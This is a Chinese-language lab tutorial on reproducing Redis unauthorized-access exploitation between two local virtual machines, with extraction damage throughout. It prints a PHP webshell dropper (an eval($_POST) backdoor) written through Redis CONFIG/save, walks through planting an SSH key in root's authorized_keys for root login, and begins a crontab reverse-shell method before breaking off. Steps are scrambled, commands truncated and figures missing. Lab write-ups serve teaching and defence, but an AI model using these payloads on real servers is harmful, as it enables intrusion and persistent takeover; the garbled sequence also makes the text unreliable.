10.Redis 未授权访问漏洞复现与利⽤
⼀、漏洞简介以及危害:
1.什么是redis 未授权访问漏洞:
Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进⾏采⽤相关的策略,⽐如添加防⽕墙规则避免其他⾮信任来源 ip 访问等,这样将会将 Redis 服务暴露到公⽹上,如果在没有设置密码认证(⼀般为空)的情况下,会导致任意⽤户在可以访问⽬标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利⽤Redis ⾃⾝的提供的config 命令,可以进⾏写⽂件操作,攻击者可以成功将⾃⼰的ssh公钥写⼊⽬标服务器的 /root/.ssh ⽂件夹的authotrized_keys ⽂件中,进⽽可以使⽤对应私钥直接使⽤ssh服务登录⽬标服务器。
简单说,漏洞的产⽣条件有以下两点:
2.漏洞的危害:
3.
漏洞影响:
根据 ZoomEye 的探测,全球⽆验证可直接利⽤Redis 分布情况如下:
全球⽆验证可直接利⽤Redis TOP 10国家与地区:
⼆、漏洞复现:
下载并安装测试⽤的Redis,本次采⽤的是Ubuntu镜像:
(1)redis 绑定在 0.0.0.0:6379,且没有进⾏添加防⽕墙规则避免其他⾮信任来源ip 访问等相关安全策略,直接暴露在公⽹;
(2)没有设置密码认证(⼀般为空),可以免密码远程登录redis 服务。
(1)攻击者⽆需认证访问到内部数据,可能导致敏感信息泄露,⿊客也可以恶意执⾏flushall 来清空所有数据;
(2)攻击者可通过EVAL 执⾏lua 代码,或通过数据备份功能往磁盘写⼊后门⽂件;
(3)最严重的情况,如果Redis 以root ⾝份运⾏,⿊客可以给root 账户写⼊SSH 公钥⽂件,直接通过SSH 登录受害服务器
wget dis.io/releases/redis-2.8.
getsavefilename
(如果下载不下来的话:/redis/)
解压安装包:tar xzf redis-2.8.
进⼊redis ⽬录:cd redis-2.8.17
安装:make
服务启动成功,我们克隆这台虚拟机
⼀台作为攻击机,⼀台作为靶机
攻击机IP:192.168.0.105
make 结束后,进⼊src ⽬录:cd src ,
将redis-server 和redis-cli 拷贝到/usr/bin ⽬录下(这样启动redis-server 和redis-cli 就不⽤每次都进⼊安装⽬录了)
返回⽬录redis-2.8.17,将f 拷贝到/etc/⽬录下:
使⽤/etc/⽬录下的f ⽂件中的配置启动redis 服务:
靶机IP:
192.168.0.104
未授权访问漏洞测试
使⽤redis客户端直接⽆账号成功登录redis:
从登录的结果可以看出该redis服务对公⽹开放,且未启⽤认证。
0x01 利⽤redis 写webshell
利⽤前提:
这⾥由于本地搭建,我们已经知道⽬录,我们把shell写⼊/home/bmjoker/⽬录下:
注:
启动redis 服务进程后,就可以使⽤测试攻击机程序redis-cli 和靶机的redis 服务交互了。 ⽐如:
1.靶机redis 链接未授权,在攻击机上能⽤redis-cli 连上,如上图,并未登陆验证
2.开了web 服务器,并且知道路径(如利⽤phpinfo ,或者错误爆路经),还需要具有⽂件读写增删改查权限
(我们可以将dir 设置为⼀个⽬录a ,⽽dbfilename 为⽂件名b ,再执⾏save 或bgsave ,则我们就可以写⼊⼀个路径为a /b 的任意⽂件。)
第三步写⼊webshell的时候,可以使⽤:
\r\n\r\n代表换⾏的意思,⽤redis写⼊的⽂件会⾃带⼀些版本信息,如果不换⾏可能会导致⽆法执⾏。
shell写⼊完成,我们在靶机上来证明:
成功写⼊shell。
当数据库过⼤时,redis写shell的⼩技巧:
0x02 利⽤"公私钥"认证获取root 权限
当redis以root⾝份运⾏,可以给root账户写⼊SSH公钥⽂件,直接通过SSH登录⽬标服务器。靶机中开启redis服务:redis-server /f
在靶机中执⾏ mkdir /root/.ssh 命令,创建ssh公钥存放⽬录(靶机是作为ssh服务器使⽤的)
在攻击机中⽣成ssh公钥和私钥,密码设置为空:
进⼊.ssh⽬录:cd .ssh/
,将⽣成的公钥保存到1.txt:
链接靶机上的redis服务,
将保存ssh的公钥1.txt写⼊redis(使⽤redis-cli -h ip命令连接靶机,将⽂件写⼊):
set x "\r\n\r\n<?php phpinfo();?>\r\n\r\n"
<?php
set_time_limit(0);
$fp=fopen('bmjoker.php','w');
fwrite($fp,'<?php @eval($_POST[\"bmjoker\"]);?>');
exit();
>
远程登录靶机的redis服务:redis-cli -h 192.168.0.104
并使⽤ CONFIG GET dir 命令得到redis备份的路径:
更改redis备份路径为ssh公钥存放⽬录(⼀般默认为/root/.ssh):
设置上传公钥的备份⽂件名字为authorized_keys:
检查是否更改成功(查看有没有authorized_keys⽂件),没有问题就保存然后退出,⾄此成功写⼊ssh公钥到靶机:
在攻击机上使⽤ssh免密登录靶机:ssh -i id_rsa root@192.168.0.104
利⽤私钥成功登录redis服务器
0x03 利⽤crontab反弹shell
在权限⾜够的情况下,利⽤redis写⼊⽂件到计划任务⽬录下执⾏。
端⼝监听:
在攻击者服务器上监听⼀个端⼝(未被占⽤的任意端⼝):
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。
发表评论